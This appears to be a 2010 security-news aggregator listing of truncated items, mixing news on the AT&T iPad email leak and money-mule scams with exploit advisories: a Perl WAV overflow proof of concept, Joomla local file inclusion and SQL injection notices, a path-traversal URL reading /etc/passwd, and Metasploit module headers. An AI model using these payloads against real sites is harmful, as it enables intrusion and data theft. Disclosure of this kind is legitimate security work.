The Pitfalls of Website Vulnerability Research and Disclosure

Vulnerability disclosure is in the spotlight again. First it was Tavis Ormandy disclosing a vulnerability in Microsoft Windows before Microsoft had a fix available. Now a group called Goatse Security has disclosed a vulnerability in an AT&T website that affects Apple iPad 3G owners. The Wall Stre...

FBI Probes AT&T iPad Goatse Email Leak

The U.S. Federal Bureau of Investigation has opened an investigation into the leak of an estimated 114,000 Apple iPad user e-mail addresses including those of Chief of Staff Rahm Emanuel, ABC ABC News anchor Diane Sawyer and NY Mayor Michael Bloomberg. Read the full article. IDG News Service...

Fedora Update for liboggz FEDORA-2010-9253

Check for the Version of liboggz OpenVAS Vulnerability Test Fedora Update for liboggz FEDORA-2010-9253 Authors: System Generated Check Copyright: Copyright c 2010 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the...

Facebook: The Money Mule Farm

Scammers and phishers are continuing to adapt their recruitment tactics, now going so far as to create special Facebook groups for their work-at-home scams. Phishers have been using social networks such as Facebook, MySpace and Twitter for years now as fertile hunting grounds not only for new...

WinDirectAudio Proof Of Concept

/usr/bin/perl Title: WinDirectAudio .WAV PoC +Date : May 21, 2010 +version : v1.0 +Author : ahwak2000 +Contact : z.u5athotmail.com +Geetz 2 : germayax +tested on : windows xp sp2&sp3 EN my $junk = "\x41" x 5000; openmyfile,' ahwak2000.wav'; print myfile $junk."\r\n"; print "\nEvil WAV file create...

Joomla Percha Gallery 1.6 Beta Local File Inclusion

==================================================================================================================== o Joomla Component Percha Gallery Local File Inclusion Vulnerability Software : comperchagallery version 1.6 Beta Vendor : http://www.percha.com/ Author : AntiSecurity NoGe Vrs-hCk...

Press Release Script - 'page.php?id' SQL Injection

In The Name Of Allah The Mercifull Tybe: SQL Injection Vulnerabilities Vendor: www.v-eva.com + Software: Press Release Script + author: R3d-D3v!L + TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY ----4.!.5 ? contact: Xathotmail.co.jp - ? Date: 14.Jan.2010 ? T!ME: 05:15 am GMT ? Home: © Offensive Security ?...

iPhone AT&T WiFi Settings Open to MiTM Attacks

A security researcher has discovered that any wireless network can pretend to be an AT&T Wi-Fi hot spot and thus lure unsuspecting iPhone users to an untrusted network connection. Read the full article. CNet...

Researchers Get Funding for New Secure Operating System

Researchers at the University of Illinois at Chicago have received a $1.15 million grant from the National Science Foundation to build a new computer operating system based on virtual machines and the concept of isolation. The new OS project, called Ethos, is the brainchild of UIC associate...

Joomla Component Realtyna Translator Local File Inclusion Vulnerability

No description provided by source. ============================================================================================================== o Joomla Component Realtyna Translator Local File Inclusion Vulnerability Software : comrealtyna version 1.0.15 Vendor : http://software.realtyna.com/...

Address Book Script 1.9 Local File Inclusion

Securitylab.ir Application Info: Name: Address Book Script Version: 1.9 Vendor: http://www.phpkobo.com/scripts/AB201109/AB201109.zip Vulnerability Info: Type: Local File Inclusion Risk: Medium Vulnerability: http://site.com/codelib/cfg/common.inc.php?LANGCODE=../../../../../../etc/passwd%00...

PHPIDS 0.4 Remote File Inclusion

PHPIDS 0.4 - Remote File Inclusion Vulnerability @package PHPIDS @Version 0.4 @license http://www.gnu.org/licenses/lgpl.html LGP @link http://php-ids.org/ Type : Remote File Inclusion Vulnerability Author: eidelweiss Date : 2010-02-08 Location: Indonesia http://yogyacarderlink.web.id Contact:...

United Way Hack Exposes Work-at-Home Scam

Hackers broke into computer systems at a Massachusetts chapter of the United Way last month and attempted to make off with more than $150,000 from one of the nation’s largest charities with the use of a money mule duped by a “Work-at-home” scam. Read the full article. KrebsonSecurity...

eWebeditor Directory Traversal

Exploit for unknown platform in category web applications ============================== eWebeditor Directory Traversal ============================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' ...

AT&T Flaw Let Facebook Users See Accounts

A Georgia mother and her two daughters logged onto Facebook from mobile phones last weekend and wound up in a startling place: strangers’ accounts with full access to troves of private information. Read the full article. Associated Press...

gAlan 0.2.1 Buffer Overflow

This module exploits a stack buffer overflow in gAlan 0.2.1 by creating a specially crafted galan file. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'gAlan 0.2.1 Buffer Overflow', 'Descriptio...

Google Sues Work@Home Scam Co.

Google filed a lawsuit Monday against a U.S. company it alleges runs work-at-home scams that unnecessarily charge people’s credit cards and spoof Google’s brand name. Read the full article. Computerworld...

Allied Telesyn TFTP Server 1.9 Long Filename Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Allied Teles...

WinVNC Web Server <= v3.3.3r7 GET Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'WinVNC Web...

FBI Reports Malware on Rise in Electronic Funds Fraud

The FBI reports it has seen a rise of malware over the past few months targeting small and medium businesses and municipal government entities and school districts. Once a malicious attachment or link is opened, keylogging tactics obtain bank account info where criminals then initiate wire...